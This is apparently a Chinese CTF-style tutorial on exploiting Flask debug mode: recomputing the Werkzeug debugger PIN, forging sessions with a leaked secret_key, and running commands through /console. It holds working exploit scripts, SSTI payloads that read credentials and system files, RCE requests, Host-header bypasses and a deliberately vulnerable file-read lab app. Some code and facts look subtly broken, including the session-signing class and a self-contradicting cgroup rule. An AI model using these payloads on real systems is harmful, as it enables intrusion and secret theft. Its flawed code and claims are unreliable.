前言

Flask 的 debug 模式会启动 Werkzeug 交互式调试控制台(/console)。这个控制台受一个 PIN 码保护——而这个 PIN 码是由机器的稳定特征信息计算出来的,一旦攻击者通过文件读取或 SSTI 获取到这些特征值,就能在本地复算出 PIN 码,进而在目标服务器上执行任意 Python 代码。

此外,Flask 的 session 存储在客户端 Cookie 中,只靠 secret_key 签名防篡改。如果 secret_key 泄露(通常也在环境变量 /proc/self/environ 中),攻击者即可伪造任意 session。

本文系统梳理:PIN 码如何计算 → 各部分如何获取 → 手算 PIN 码 → Session 伪造 → 完整攻击链。


一、Werkzeug Debugger 与 PIN 机制

1.1 什么是 Werkzeug

Werkzeug 是 Flask 底层用的 WSGI 工具库。当 Flask 以 debug=True 启动时,Werkzeug 会在以下路由提供调试功能:

路由 功能
/console 交互式 Python 控制台(需 PIN 码
/debug 调试信息页

/console 相当于一个浏览器内的 Python REPL,可以执行任意代码——因此它是拿到 Flask debug 模式服务器权限的最直接路径。

1.2 PIN 认证请求格式

打开 /console 页面后,浏览器向服务器发送:

1
GET /console?__debugger__=yes&cmd=pinauth&pin=123-456-789&s=3YTBnR7SAoHOJWUIFhVI HTTP/1.1
参数 含义
__debugger__=yes 标识这是调试器请求
cmd=pinauth 执行 PIN 码认证命令
pin=<pin> 用户输入的 PIN 码
s=<secret> 会话标识符(每个调试页面唯一,可从页面源码获取)

认证成功后,服务器返回一个 Cookie,后续所有命令都带着这个 Cookie 即可执行。

1
2
请求: GET /console?__debugger__=yes&cmd=print(open('/flag').read())&frm=0&s=xxx
Cookie: __wzds=xxx (PIN 认证后获得)

frm 参数: 表示当前执行栈帧(frame)。0 是最顶层帧,数字越大越接近调用栈底部。在报错页面可以直观看到帧的概念:

1
2
3
4
5
6
7
8
9
10
11
def function_a():
x = "var_in_a"
function_b() # 帧 2: x = "var_in_a"

def function_b():
y = "var_in_b"
function_c() # 帧 1: y = "var_in_b"

def function_c():
z = "var_in_c"
raise Exception() # 帧 0: z = "var_in_c" ← 异常发生位置

frm 的值从报错页面的 traceback 中可以获取,如果没有 traceback,默认为 0


二、PIN 码的构成

Werkzeug 的 PIN 码由 6 个部分 拼接后经算法计算得出:

1
2
3
4
5
输入: username + modname + appname + moddir + uuidnode + machine_id

算法处理(hash + 分组)

输出: 123-456-789 (9位数字,用 - 分隔)
序号 变量 含义 默认值
1 username 运行 Flask 进程的系统用户名 无默认值,必须获取
2 modname Flask 模块名 flask.app
3 appname Flask 应用实例的类名 Flask
4 moddir flask/app.py(Werkzeug ≥ 3.0)或 werkzeug/debug/__init__.py(老版本)的绝对路径 取决于安装路径
5 uuidnode 当前网卡 MAC 地址的十进制整数形式 必须获取
6 machine_id 机器标识符,由 2~3 个系统文件内容合并 必须获取

Werkzeug 版本区分: Werkzeug ≥ 3.0 后 PIN 算法和文件选择有变化。本文以 Werkzeug 3.0.x 为主(对应 Flask 3.x)。


三、各部分获取方式

3.1 username —— 运行 Flask 的用户名

方法一:文件读取 /etc/passwd

1
2
3
4
cat /etc/passwd | grep -E ':/home/|:/root/'
# root:x:0:0:root:/root:/bin/bash
# 或
cat /etc/passwd | grep sh$

通常 Docker 容器中运行用户是 rootctf

方法二:SSTI 获取

1
2
3
4
5
# 通用 payload(getpass 模块)
{{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['getpass'].getuser() }}

# 或通过 os 模块
{{ config.__class__.__init__.__globals__['os'].environ['USER'] }}

常见包含 getpass 的模块: ossyssocketsubprocessparamikoftplib。遍历 __subclasses__() 找到这些模块的 __init__.__globals__ 即可导出 getpass

3.2 modname —— 默认值 flask.app

绝大多数情况下直接用默认值:

1
flask.app

如需确认,可通过 SSTI:

1
getattr(app, "__module__", t.cast(object, app).__class__.__module__)

3.3 appname —— 默认值 Flask

同样直接用默认值:

1
Flask

确认方式:

1
getattr(app, "__name__", app.__class__.__name__)

3.4 moddir —— flask/app.py 绝对路径

方法一:报错页面直接看到

Flask debug 模式下的报错页面会显示完整的文件路径和 traceback,直接能找到 flask/app.py 的路径。

典型路径:

  • Docker:/usr/local/lib/python3.8/site-packages/flask/app.py
  • 虚拟环境:/venv/lib/python3.10/site-packages/flask/app.py

方法二:SSTI

1
2
3
{{ config.__class__.__init__.__globals__['__file__'] }}
# 或
getattr(mod, "__file__", None)

3.5 uuidnode —— MAC 地址的十进制表示

方法一:读取网卡文件

1
2
cat /sys/class/net/eth0/address
# 输出: 02:42:ac:11:00:02

方法二:SSTI

1
2
3
4
{{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['uuid'].getnode() }}

# 或通过 open 读文件
{{ [].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}

uuid.getnode() 返回的是一个十进制整数,例如:

1
02:42:ac:11:00:02  → 十进制: 2485377892354

转换方式:

1
2
3
4
# 去掉冒号,当作十六进制转十进制
mac = "02:42:ac:11:00:02"
decimal = int(mac.replace(":", ""), 16)
# 结果: 2485377892354

3.6 machine_id —— 机器标识符

machine_id 由以下文件拼接而成,读取逻辑取决于是否为 Docker 环境

文件 内容示例 读取条件
/etc/machine-id d4e5f6a7b8c9... 仅非 Docker 环境读取(如果存在则不再读 boot_id)
/proc/sys/kernel/random/boot_id a1b2c3d4-... Docker 环境读取;非 Docker 环境下 /etc/machine-id 不存在时作为替代
/proc/self/cgroup 0::/docker/abc123.../docker/abc123... Docker 和非 Docker 都读取

读取逻辑(Werkzeug 3.0.x 源码行为)

1
2
3
4
5
6
7
8
Docker 环境:
machine_id = boot_id 内容 + cgroup 最后一行

非 Docker 环境:
if /etc/machine-id 存在:
machine_id = /etc/machine-id 内容 + cgroup 最后一行
else:
machine_id = boot_id 内容 + cgroup 最后一行

Docker 判定方式

Werkzeug 通过检查 cgroup 文件中是否包含 dockerlibpod 字符串来判断是否在容器内。Docker 容器中 /proc/self/cgroup 内容类似:

1
2
3
12:devices:/docker/abc123def456789...
11:memory:/docker/abc123def456789...
0::/docker/abc123def456789...

关键: cgroup 的取值规则是取第一行最后一个 / 之后的内容。在 Werkzeug 3.0.x 中,取的是 0:: 开头的那一行(cgroup v2)或传统格式的最后字段。


四、PIN 码计算 —— 完整脚本

4.1 Werkzeug 3.0.x 版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3
"""Flask Werkzeug 3.0.x Debugger PIN 计算器"""

import hashlib
from itertools import chain


def get_pin(username, modname, appname, moddir, uuidnode, machine_id):
"""
计算 Werkzeug debugger PIN(3.0.x 版本)
"""
probably_public_bits = [
username, # 运行 Flask 的用户
modname, # 默认 'flask.app'
appname, # 默认 'Flask'
moddir, # flask/app.py 的绝对路径
]

private_bits = [
str(uuidnode), # MAC 地址十进制数
machine_id, # 由 boot_id + cgroup 拼接
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = f'__wzd{h.hexdigest()[:20]}'

# 如果是旧版 Werkzeug(需要 num 参数),此处用 sha1 再哈希一次
# 这里展示 3.0.x 的 pin 计算
num = None
if num is None:
h.update(b'pinsalt')
num = f'{int(h.hexdigest(), 16):09d}'[:9]

rv = None
if num is not None:
rv = num

# 格式化: 123-456-789
formatted = f'{rv[:3]}-{rv[3:6]}-{rv[6:9]}' if len(rv) == 9 else rv

print(f'[+] Cookie name: {cookie_name}')
print(f'[+] PIN: {formatted}')
return formatted


# ====== 填入你的值 ======
if __name__ == '__main__':
# --- probably_public_bits ---
username = 'ctf' # /etc/passwd 或 SSTI 获取
modname = 'flask.app' # 默认值
appname = 'Flask' # 默认值
moddir = '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错页面获取

# --- private_bits ---
# /sys/class/net/eth0/address → 去掉冒号,十六进制转十进制
uuidnode = 2485377892354 # 或 uuid.getnode()
# /proc/sys/kernel/random/boot_id + /proc/self/cgroup (Docker)
machine_id = 'a1b2c3d4-e5f6-7890-abcd-ef1234567890' \
'docker/abc123def456789...'

get_pin(username, modname, appname, moddir, uuidnode, machine_id)

4.2 通用版(兼容 Werkzeug 2.x / 3.0.x)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3
"""通用 Flask Debugger PIN 计算——兼容 Werkzeug 2.x 和 3.0.x"""

import hashlib
from itertools import chain


def get_pin_general(probably_public_bits, private_bits):
"""
通用 PIN 计算
probably_public_bits = [username, modname, appname, moddir]
private_bits = [str(uuidnode), machine_id]
"""
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = f'__wzd{h.hexdigest()[:20]}'

# pin
h.update(b'pinsalt')
num = f'{int(h.hexdigest(), 16):09d}'[:9]
formatted = f'{num[:3]}-{num[3:6]}-{num[6:9]}'

print(f'[+] Cookie name: {cookie_name}')
print(f'[+] PIN: {formatted}')
return formatted, cookie_name


if __name__ == '__main__':
probably_public = [
'ctf',
'flask.app',
'Flask',
'/usr/local/lib/python3.8/site-packages/flask/app.py',
]
private = [
'2485377892354',
'boot_id内容cgroup最后一行内容',
]
pin, _ = get_pin_general(probably_public, private)

4.3 获取 s 参数(调试会话密钥)

在发起 /console?__debugger__=yes&... 请求之前,需要先从页面源码提取 s 参数:

1
2
3
4
5
6
import re
import requests

resp = requests.get('http://target:5000/console')
secret = re.search(r'SECRET\s*=\s*"([^"]+)"', resp.text).group(1)
print(f'[+] SECRET (s): {secret}')

如果没有报错页面可供触发,可以访问一个不存在的路由(404),Flask debug 模式的 404 页面源码中同样包含 SECRET


五、Flask Session 伪造

5.1 Session 存储原理

Flask 是轻量级框架,session 数据不存服务端,而是序列化后放在客户端的 Cookie 中,仅通过 secret_key 签名来防篡改。结构如下:

1
2
3
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0
│ │ │
│.session 数据 (Base64) │.时间戳 │.签名 (HMAC-SHA1)

签名的计算方式(Flask 默认用 itsdangerous 库):

1
signature = HMAC-SHA1(secret_key, session_data + "." + timestamp, salt='cookie-session')

一旦拿到 secret_key,就能伪造任意 session。

5.2 获取 secret_key

方法一:读取 /proc/self/environ

Flask 常通过环境变量传入 SECRET_KEY

1
cat /proc/self/environ | tr '\0' '\n' | grep SECRET

或通过任意文件读取漏洞:

1
../../../../proc/self/environ

方法二:读取应用源码

1
2
3
4
# 常见位置
cat /app/app.py | grep SECRET
cat /app/config.py | grep SECRET
cat /app/.env

方法三:SSTI

1
2
3
{{ config.__class__.__init__.__globals__['current_app'].secret_key }}
# 或简写
{{ config['SECRET_KEY'] }}

5.3 使用 flask-unsign 伪造 session

flask-unsign 是最方便的工具:

1
2
3
4
5
6
7
8
9
10
11
# 安装
pip install flask-unsign

# 解码当前 session
flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.Y48ncA.xxx'

# 用泄露的 secret_key 伪造 admin session
flask-unsign --sign --cookie '{"username":"admin","role":"admin"}' --secret 'super_secret_key'

# 暴力破解 secret_key(弱密钥时有效)
flask-unsign --unsign --cookie 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.Y48ncA.xxx' --wordlist wordlist.txt

5.4 纯 Python 实现 session 签名

不依赖外部工具,手写签名逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
"""Flask Session 手工签名脚本"""

import hashlib
import hmac
import base64
import json
import time
from itsdangerous import URLSafeTimedSerializer, BadSignature
from flask.sessions import SecureCookieSessionInterface


def encode_session(session_dict, secret_key):
"""
用 secret_key 签名一个 Flask session
等价于 flask-unsign --sign
"""
class FakeApp:
secret_key = secret_key
# Flask 3.x 使用 TaggedJSONSerializer
# 这里用 itsdangerous 通用方式
pass

app = FakeApp()
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)
return serializer.dumps(session_dict)


def decode_session(cookie, secret_key):
"""
用 secret_key 解码 Flask session
"""
class FakeApp:
secret_key = secret_key
pass

app = FakeApp()
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)
try:
return serializer.loads(cookie)
except Exception as e:
return f'解码失败: {e}'


# ====== 使用示例 ======
if __name__ == '__main__':
SECRET = 'super_secret_key_here'

# 伪造 admin session
admin_session = {'username': 'admin', 'role': 'admin'}
cookie = encode_session(admin_session, SECRET)
print(f'[+] 伪造的 session cookie:\n{cookie}')

# 解码验证
decoded = decode_session(cookie, SECRET)
print(f'[+] 解码验证: {decoded}')

注意: Flask 不同版本(1.x / 2.x / 3.x)使用的序列化器略有不同(itsdangerous.URLSafeTimedSerializer vs TaggedJSONSerializer)。以上代码兼容 Flask 2.x+。


六、手算 PIN 码实战(Docker 环境 & 非 Docker 环境)

6.1 构建本地测试环境

以下是一个完整的可复现环境:

app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask import Flask, request

app = Flask(__name__)


@app.route("/")
def index():
return "Hello World"


@app.route("/read", methods=["GET"])
def read_file():
file_path = request.args.get("path")
try:
with open(file_path, "r") as f:
content = f.read()
return content
except Exception:
raise FileNotFoundError


if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True, use_reloader=False)

use_reloader=False 调试模式下 Flask 默认会启动 reloader(文件监听进程),这会导致获取到的用户名可能是 root(而非应用运行用户)。关闭 reloader 让环境更可控。

Dockerfile:

1
2
3
4
5
6
FROM python:3.8
WORKDIR /app
COPY . .
RUN pip install --no-cache-dir -i https://pypi.tuna.tsinghua.edu.cn/simple flask Werkzeug==3.0.1
EXPOSE 5000
CMD ["python", "app.py"]

docker-compose.yml:

1
2
3
4
5
6
7
8
version: '3.8'
services:
flask-app:
build: .
ports:
- "5000:5000"
environment:
- FLASK_ENV=development

6.2 攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──────────────────────────────────────────────┐
│ Step 1: 触发报错(访问不存在页面/构造异常) │
│ ↓ 从报错页面获取 moddir(flask/app.py 路径) │
│ ↓ 从页面源码获取 SECRET(s 参数) │
│ │
│ Step 2: 读取 /etc/passwd → username │
│ Step 3: 读取 /sys/class/net/eth0/address │
│ → 去掉冒号 → 十六进制转十进制 uuidnode │
│ Step 4: 读取 /proc/sys/kernel/random/boot_id │
│ 读取 /proc/self/cgroup │
│ → 拼接为 machine_id │
│ │
│ Step 5: 运行 PIN 计算脚本 → 得到 PIN │
│ │
│ Step 6: 访问 /console → 输入 PIN → RCE │
└──────────────────────────────────────────────┘

6.3 RCE 后的命令格式

认证通过后,通过 /console 执行任意 Python:

1
2
3
4
5
GET /console?__debugger__=yes&cmd=__import__('os').popen('cat /flag').read()&frm=0&s=<SECRET> HTTP/1.1
Cookie: __wzds=<认证后获得的cookie>

# 或者读文件
GET /console?__debugger__=yes&cmd=open('/flag').read()&frm=0&s=<SECRET> HTTP/1.1

七、特殊情况与绕过

7.1 Werkzeug ≥ 3.0.3:Host 头限制

Werkzeug 3.0.3+ 要求请求的 Host 头必须为 本地环回地址127.0.0.1localhost 等),否则拒绝 PIN 认证。

绕过方法:

1
2
3
4
5
# 方法 1:SSRF → 用本地地址访问
# 方法 2:修改请求的 Host 头(前提是代理不拦截)
GET /console?__debugger__=yes&cmd=pinauth&pin=...&s=... HTTP/1.1
Host: localhost:5000
# 但如果存在前端代理,Host 可能被覆盖

如果无法绕过 Host 限制但有 SSTI,可以直接用 SSTI 拿 flag,不依赖 /console

7.2 无法获取 machine_id 的兜底策略

如果只能读到一个 /proc/self/cgroup(boot_id 读不到),machine_id 就不完整,PIN 码无法算出。此时可以:

  • 检查是否有 /proc/1/cgroup/proc/1/environ 等替代路径
  • 有些 CTF 题目直接给了 Flask 源码,可能 /app/ 目录下有 requirements.txt 暴露了 Werkzeug 版本,方便调试
  • 如果能在本地完全复现目标 Docker 环境(相同镜像),可以本地起一个同样的容器 → 触发 PIN → 拿 PIN 算法反推

7.3 非 Docker 环境

非 Docker 环境优先读 /etc/machine-id

1
2
3
cat /etc/machine-id
cat /proc/self/cgroup
# machine_id = /etc/machine-id内容 + /proc/self/cgroup最后一行

7.4 无法读 MAC 地址

如果 /sys/class/net/eth0/address 不可读:

  • 尝试其他网卡:/sys/class/net/ens33/address/sys/class/net/lo/address
  • SSTI 用 uuid.getnode() 直接获取(只要有任意包含 uuid 模块的 gadget 链即可)
  • 但在 Docker 中,MAC 地址前两字节固定为 02:42(Docker 默认虚拟网桥)

八、总结对比表

攻击目标 前置条件 关键信息 工具/方式
PIN 码计算 Debug 模式 (debug=True) username + MAC + boot_id + cgroup + moddir 手写 hash 脚本
Session 伪造 secret_key 泄露 可从 /proc/self/environ 或源码获取 flask-unsign / itsdangerous
SSTI → RCE 存在 SSTI 点 无需 debug 模式 直接 SSTI 执行命令 / 读文件
/console RCE debug 模式 + PIN 码 PIN 可通过文件读取 + 计算得到 HTTP 请求带 Cookie

参考